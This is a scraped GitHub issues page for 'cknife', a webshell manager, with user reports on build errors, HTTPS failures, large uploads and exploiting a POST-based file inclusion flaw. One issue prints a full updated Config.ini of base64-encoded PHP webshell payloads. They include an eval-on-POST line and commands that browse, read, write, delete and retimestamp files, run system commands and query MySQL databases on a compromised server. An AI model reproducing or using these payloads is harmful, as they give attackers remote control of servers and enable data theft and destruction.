Git Product home page Git Product logo

cknife's People

Contributors

chora10 avatar melodyzx avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cknife's Issues

无法运行

java版本: openjdk-11.0.6
报错信息:java -jar tools/Cknife/Cknife.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Exception in thread "main" java.lang.NoClassDefFoundError: org/pushingpixels/substance/api/fonts/FontPolicy
at java.base/java.lang.Class.forName0(Native Method)
at java.base/java.lang.Class.forName(Class.java:398)
at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main(JarRsrcLoader.java:56)
Caused by: java.lang.ClassNotFoundException: org.pushingpixels.substance.api.fonts.FontPolicy
at java.base/java.net.URLClassLoader.findClass(URLClassLoader.java:471)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:588)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521)
... 3 more

关于Post版的文件包含漏洞

不知道是不是我不太会用C刀的配置文件还在怎么--
遇到一个文件包含漏洞,是post版的,需要post一段数据
才能引用日志中的一句话
好像C刀仅仅支持get版本
能否加入一下连接之前post数据?

手动编译不通过

Cknife/src/com/ms509/ui/panel/FileManagerPanel.java第17行引用了一个未使用的类。
注释掉可以编译通过。

做了个简易的编译脚本。

<?xml version="1.0" encoding="UTF-8"?>
<project default="jar" name="makejar">
  <property name="javaexe" value="C:\\Program Files\\Java\\jdk1.8.0_101\\bin\\javac"/>
  <property name="main_class" value="com/ms509/ui/Cknife"/>
  <property name="jar_file" value="Cknife.jar"/>
  <target name="compile">
    
    <path id="libs">
      <fileset dir="lib">
        <include name="**/*.jar"/>
      </fileset>
    </path>
    
    <mkdir dir="bin" />

    <javac debug="true" destdir="bin" encoding="UTF-8" executable="${javaexe}" fork="yes" includeAntRuntime="false" optimize="off" srcdir="src" target="1.8">
      <classpath refid="libs"/>
    </javac>
  </target>

  <target depends="compile" name="jar">
    <!-- copy resource files -->
    <copy todir="bin/com/ms509/" includeEmptyDirs="true" flatten="false">
      <fileset dir="src/com/ms509/" >
        <include name="images/" />
      </fileset>
    </copy>

    <manifestclasspath jarfile="${jar_file}" property="manifest.classpath">
      <classpath refid="libs"/>
    </manifestclasspath>

    <jar basedir="bin" destfile="${jar_file}">
      <manifest>
        <attribute name="Main-Class" value="${main_class}"/>
        <attribute name="Class-Path" value="${manifest.classpath}"/>
      </manifest>
    </jar>

  </target>

  <target name="clean">
    <delete dir="bin" />
  </target>
</project>

关于大文件上传问题

release 1.0版本

1、遇到一个情况,php环境,shell是普通php一句话,一个5MB的文件上传失败;
2、同样的php环境,新建大的文本文件也同样失败。

希望作者早日修复这个bug。

Help

Pan Baidu link is not working share any other if possible please...want cus.php please

连接不上

Snipaste_2019-05-12_01-19-32
Snipaste_2019-05-12_01-19-49
连接不上,报错了,这个是从作者仓库git下来用eclipse打包的jar

debug php 7.0.12

php7 不再支持一些函数,导致cknife没法再用,更新了一下 部分Config.ini 文件如下;

PHP_MAKE=@eval(base64_decode($_POST[action]));
PHP_INDEX=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2fQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D
PHP_READDICT=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4iLyIuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIgoiO2lmKEBpc19kaXIoJFApKSRNLj0kTi4iLyIuJFI7ZWxzZSAkTC49JE4uJFI7fWVjaG8gJE0uJEw7QGNsb3NlZGlyKCRGKTt9O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_READFILE=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRQPUBmb3BlbigkRiwiciIpO2VjaG8oQGZyZWFkKCRQLGZpbGVzaXplKCRGKSkpO0BmY2xvc2UoJFApOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D
PHP_SAVEFILE=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7ZWNobyBAZndyaXRlKGZvcGVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSwidyIpLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKSk%2fIjEiOiIwIjs7ZWNobygifDwtIik7ZGllKCk7
PHP_DELETE=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7ZnVuY3Rpb24gZGYoJHApeyRtPUBkaXIoJHApO3doaWxlKEAkZj0kbS0%2bcmVhZCgpKXskcGY9JHAuIi8iLiRmO2lmKChpc19kaXIoJHBmKSkmJigkZiE9Ii4iKSYmKCRmIT0iLi4iKSl7QGNobW9kKCRwZiwwNzc3KTtkZigkcGYpO31pZihpc19maWxlKCRwZikpe0BjaG1vZCgkcGYsMDc3Nyk7QHVubGluaygkcGYpO319JG0tPmNsb3NlKCk7QGNobW9kKCRwLDA3NzcpO3JldHVybiBAcm1kaXIoJHApO30kRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP2Jhc2U2NF9kZWNvZGUoc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSkpOmJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTtpZihpc19kaXIoJEYpKWVjaG8oZGYoJEYpKTtlbHNle2VjaG8oZmlsZV9leGlzdHMoJEYpP0B1bmxpbmsoJEYpPyIxIjoiMCI6IjAiKTt9O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_RENAME=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskc3JjPW0%2fYmFzZTY0X2RlY29kZShzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKSk6YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRkc3Q9bT9iYXNlNjRfZGVjb2RlKHN0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pKTpiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7ZWNobyhyZW5hbWUoJHNyYywkZHN0KT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7
PHP_RETIME=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskRk49JG0%2fYmFzZTY0X2RlY29kZShzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKSk6YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRUTT1zdHJ0b3RpbWUoJG0%2fYmFzZTY0X2RlY29kZShzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MiJdKSk6YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk%2fIjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_NEWDICT=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskZj0kbT9iYXNlNjRfZGVjb2RlKHN0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pKTpiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7ZWNobyhta2RpcigkZik%2fIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_UPLOAD=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCI%2bfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2fIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_DOWNLOAD=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEY9Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKT9iYXNlNjRfZGVjb2RlKHN0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pKTpiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGZwPUBmb3BlbigkRiwiciIpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCJFUlJPUjovLyBDYW4gTm90IFJlYWQiKTt9O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRzPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7QHN5c3RlbSgkci4iIDI%2bJjEiLCRyZXQpO3ByaW50ICgkcmV0IT0wKT8iCnJldD17JHJldH0KIjoiIjs7ZWNobygifDwtIik7ZGllKCk7
PHP_DB_MYSQL=@ini_set ( "display_errors", "0" );@set_time_limit ( 0 );echo ("->|");$m = get_magic_quotes_gpc();$conf = $m ? stripslashes ( $_POST ["z1"] ):$_POST ["z1"];$ar = explode("choraheiheihei", $conf);$dbn = $m ? stripslashes ( $_POST ["z2"] ) : $_POST ["z2"];$sql = base64_decode ( $_POST["z3"]);$T = @mysqli_connect($ar[0],$ar[1],$ar[2]);@mysqli_query ($T,"SET NAMES utf8");if($dbn==""){$sql = "SHOW DATABASES"; $q = @mysqli_query ($T,$sql ); $i = 0;while($rs=@mysqli_fetch_row($q)){ echo(trim($rs[0]).chr(9))."\\t|\\t\\r\\n";}@mysqli_close($T); echo("|<-"); die();}else{  @mysqli_select_db ($T,$dbn); $q = @mysqli_query ( $T,$sql );$fieldinfo=@mysqli_fetch_fields($q);$i=0;foreach( $fieldinfo as $val ){echo($val->name."\\t|\\t");    $i++;}echo ("\\r\\n"); while ( $rs = @mysqli_fetch_row ( $q ) ) {for($c = 0;$c < $i;$c ++) { echo (trim ( $rs [$c] ));echo ("\\t|\\t");} echo ("\\r\\n");} @mysqli_close ( $T ); echo ("|<-");die ();} 

CLOSE

百度网盘链接失效了。放在GitHub上更安全点。

文件管理中searchNode搜索结点方式有bug

从右栏打开文件夹时候会从JTable中获取一个文件夹名称,
然后就会调用searchNode从Root开始查找匹配
DefaultMutableTreeNode tn = TreeMethod.searchNode(filemanagerpanel.getRoot(), name);
路径中如果有重复的目录就会匹配错乱。
可以简单把getRoot()换成filemanagerpanel.getTree().getSelectionPath().getLastPathComponent()为起点查找吧。或者优化搜索方式。

HTTPS connect error

Can't connect non secure ssl website

java.security.cert.CertificateException: No subject alternative names present

无法正常显示shell的目录文件

如题,如果对方的服务器是linux or mac的话,会无法正常显示目录下的文件。因为代码是以\t去分割并识别文件名。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.